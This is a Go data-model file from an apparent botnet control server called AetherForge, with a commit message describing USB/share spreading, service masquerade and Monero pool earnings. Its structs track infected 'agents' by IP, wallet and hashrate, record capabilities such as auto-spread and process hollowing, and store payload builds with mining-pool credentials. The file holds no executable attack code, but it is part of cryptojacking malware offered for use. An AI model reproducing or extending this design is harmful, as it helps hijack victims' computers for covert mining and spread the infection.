Files
AetherForge/server/internal/models/agent.go
drjones 102d2fb7c6 Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
2026-05-29 22:29:58 -07:00

96 lines
3.2 KiB
Go

package models
import "time"
type Agent struct {
ID string `json:"id"`
Name string `json:"name"`
Wallet string `json:"wallet"`
IP string `json:"ip"`
Version string `json:"version"`
Status string `json:"status"` // online, offline, error
CPUCores int `json:"cpu_cores"`
MemoryGB int `json:"memory_gb"`
LastSeen time.Time `json:"last_seen"`
CreatedAt time.Time `json:"created_at"`
// Runtime stats (updated via heartbeat)
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesTotal int `json:"shares_total"`
SharesGood int `json:"shares_good"`
SharesBad int `json:"shares_bad"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
Notes string `json:"notes"`
Tags []string `json:"tags"`
Platform string `json:"platform,omitempty"`
Arch string `json:"arch,omitempty"`
OSVersion string `json:"os_version,omitempty"`
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
}
// AgentCapabilities reports forge-time features available for remote command.
type AgentCapabilities struct {
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
AIEnabled bool `json:"ai_enabled"`
}
type Share struct {
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
JobID string `json:"job_id"`
Difficulty int64 `json:"difficulty"`
Accepted bool `json:"accepted"`
Hash string `json:"hash"`
Nonce string `json:"nonce"`
Error string `json:"error,omitempty"`
Timestamp time.Time `json:"timestamp"`
}
type HashrateSample struct {
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
Hashrate float64 `json:"hashrate"`
Timestamp time.Time `json:"timestamp"`
}
type Job struct {
ID string `json:"id"`
Height int64 `json:"height"`
Difficulty int64 `json:"difficulty"`
BlockTemplate string `json:"block_template"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
CreatedAt time.Time `json:"created_at"`
}
type BuildRecord struct {
ID string `json:"id"`
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
Wallet string `json:"wallet"`
Threads int `json:"threads"`
FileSize int64 `json:"file_size"`
BundleSize int64 `json:"bundle_size"`
FilePath string `json:"file_path"`
FileName string `json:"file_name"` // base filename for display
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
CreatedAt time.Time `json:"created_at"`
// Pool settings
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
}